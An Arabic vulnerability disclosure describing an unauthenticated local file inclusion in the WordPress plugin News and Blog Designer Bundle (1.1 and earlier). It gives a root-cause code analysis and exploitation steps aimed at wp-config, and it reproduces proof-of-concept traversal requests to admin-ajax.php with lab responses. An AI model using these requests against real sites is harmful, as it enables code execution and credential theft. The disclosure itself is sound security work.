
في إصدارات المكوّن الإضافي News and Blog Designer Bundle الخاصة بـ WordPress، جميع الإصدارات حتى 1.1 وما قبلها، توجد ثغرة تضمين ملفات محلية عبر معامل template. تتيح هذه الثغرة للمهاجم غير المصادق عليه تضمين وتنفيذ أي ملف .php على الخادم، وبالتالي تشغيل أي كود PHP موجود في هذه الملفات. في السيناريوهات التي يُسمح فيها برفع وتضمين ملفات من نوع .php، يمكن للمهاجم استغلال هذه الثغرة لتجاوز ضوابط الوصول، أو الوصول إلى بيانات حساسة، أو تحقيق تنفيذ كود.
نوع الثغرة: تضمين الملفات المحلي (Local File Inclusion, LFI)
الإصدارات المتأثرة: News and Blog Designer Bundle 1.1 وجميع الإصدارات السابقة له
درجة الخطورة: عالية
تعقيد الهجوم: منخفض (بدون مصادقة)
توجد الثغرة الرئيسية في طريقة nbdb_fetch_more_post() الموجودة في الملف includes/class-nbdb-ajax.php.
sanitize_text_field(extract( $_POST['shrt_param'] ));
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
المشكلة 1: الاستخدام غير السليم لدالة extract()
يوجد في السطر 31 مشكلة خطيرة:
sanitize_text_field(extract( $_POST['shrt_param'] ));
extract() باستخراج مفاتيح المصفوفة كأسماء متغيرات وقيمها كقيم متغيرات مباشرةً إلى النطاق الحالي.extract() هي عدد المتغيرات المستخرجة بنجاح (عدد صحيح)، وليست المصفوفة نفسها.sanitize_text_field() استقبال وسيط نصي (string)، لكن العدد الصحيح يُمرَّر إليها هنا.المشكلة 2: عدم التحقق من الوسائط
يستخدم السطر 33 المتغير $template مباشرةً لبناء مسار الملف:
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template يأتي من extract($_POST['shrt_param'])، وهو متحكَّم فيه بالكامل بواسطة إدخال المستخدم.المشكلة 3: يتحقق فقط من وجود الملف
يتحقق السطر 34 فقط من وجود الملف:
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
file_exists() فقط من وجود الملف، ولا تتحقق من سلامة المسار.$template، فيمكنه تنفيذ اجتياز الدلائل باستخدام ../.include($template_file) في السطر 93، مما يؤدي إلى تضمين ملفات تعسفية.في shortcodes/class-nbdb-shortcode.php، تستخدم جميع دوال معالجة الشورت كود التحقق عبر القائمة البيضاء:
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
nbdb_post_template() للحصول على قائمة القوالب المسموح بها (فقط template-1 و template-2).array_key_exists() للتحقق من القائمة البيضاء.template-1.يثبت هذا أن المطوّر يعرف كيفية التحقق من الوسائط بشكل صحيح، لكنه أغفل التحقق في دالة معالجة AJAX.
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
wp_ajax_ و wp_ajax_nopriv_ معًا.wp_ajax_nopriv_ للمستخدمين غير المسجلين بالوصول./wp-admin/admin-ajax.phpaction=nbdb_fetch_more_postshrt_param[template] (مثل ../../../../wp-config)extract($_POST['shrt_param'])، مما يستخرج template كمتغيرNBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'file_exists() قيمة trueinclude($template_file)، مما يتضمن وينفذ ملف PHP الهدفwp-config.php).php (تم ترميز اللاحقة .php بشكل ثابت في الكود).include() للملفات المُضمَّنة، أما شرط "إمكانية القراءة" فهو: أن يكون لملف PHP المُضمَّن مخرجات مرئية (echo/print/أخطاء/استجابات بروتوكول)، وإلا فلن تتمكن من رؤية المحتوى.POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-32700</int></value>
</member>
<member>
<name>faultString</name>
<value><string>parse error. not well formed</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8